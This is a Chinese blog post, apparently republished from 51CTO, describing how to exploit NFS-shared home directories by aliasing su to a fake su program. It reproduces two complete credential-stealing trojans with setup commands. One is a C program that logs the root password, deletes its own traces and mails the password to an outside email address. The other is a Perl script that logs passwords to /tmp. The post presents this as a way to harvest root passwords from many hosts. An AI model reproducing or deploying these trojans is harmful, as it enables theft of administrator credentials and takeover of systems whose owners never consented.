NFS是Linux主机通过网络共享文件的标准方法。客户端加载服务器上的目录,然后就可以访问本地磁盘存储一样访问文件,一般与NIS同时使用,但是NFS也同NIS一样,存在着不少的安全隐患。
通过showmount -e可以得到某台主机开放的共享文件目录,甚至可以从中获取到其中的一些访问规则,如果NFS主机提供了home目录的加载,我们则可以修改用户的配置文件,例如将su定义一个别名,这个别名我们写一个欺骗su程序,网站也有很多现成的,也可以参考我之前提供的两个fuck su的方法:
- /*
- * kpr-fakesu.c V0.9beta167 ;P
- * by koper <koper@linuxmail.org>
- *
- * Setting up:
- * admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c
- * admin@host:~$ mv .su /var/tmp/.su
- * admin@host:~$ cp .bash_profile .wgetrc
- * admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile
- * admin@host:~$ logout
- * *** LOGIN ***
- * admin@host:~$ su
- * Password:
- * su: Authentication failure
- * Sorry.
- * admin@host:~$ su
- * Password:
- * root@host:~# logout
- * admin@host:~$ cat /var/tmp/.pwds
- * root:dupcia17
- * admin@host:~$
- *
- * /bin/su sends various failure information depending on the OS ver.
- * Please modify the source to make it "fit" ;)
- *
- */
- #include <stdio.h>
- #include <stdlib.h>
- main(int argc, char *argv[]){
- FILE *fp;
- char *user;
- char *pass;
- char filex[100];
- char clean[100];
- sprintf(filex,"/var/tmp/.pwds");
- sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/admin/.wgetrc /home/admin/.bash_profile");
- if(argc==1) user="root";
- if(argc==2) user=argv[1];
- if(argc>2){
- if(strcmp(argv[1], "-l")==0)
- user=argv[2];
- else user=argv[1];}
- fprintf(stdout,"Password: "); pass=getpass ("");
- system("sleep 3");
- fprintf(stdout,"su: Authentication failure\nSorry.\n");
- if ((fp=fopen(filex,"w")) != NULL)
- {
- fprintf(fp, "%s:%s\n", user, pass);
- fclose(fp);
- }
- system(clean);
- system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");
- /* If you don't want password in your e-mail uncomment this line: */
- system("uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail kalikosta@hotmail.com");
- }
- #!/usr/bin/perl
- ####################################################################################################
- # kyle@freeshell.se 2006 su trojan check so the su path is correct. #
- # then make alias for trojan first it reads the pass then exec the real su. #
- # logging to /tmp/.pass #
- ####################################################################################################
- print "Password: "; $s1=<STDIN>;
- print "Sorry.\n";
- $s2="Password is: ";
- $s3=`date +%Y-%m-%d`;
- open (users, ">>/tmp/.pass") || die ("Could not open file. $!");
- print users ($s2, $s1,$s3);
- close (users);
- system("/bin/su")
如此等待数小时,我们就可能获取到不少主机的root密码呢?虽然在linux提供了比NFS更安全的AFS来替换,不过AFS的复杂管理让不少管理员还是很少使用。
本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/425411,如需转载请自行联系原作者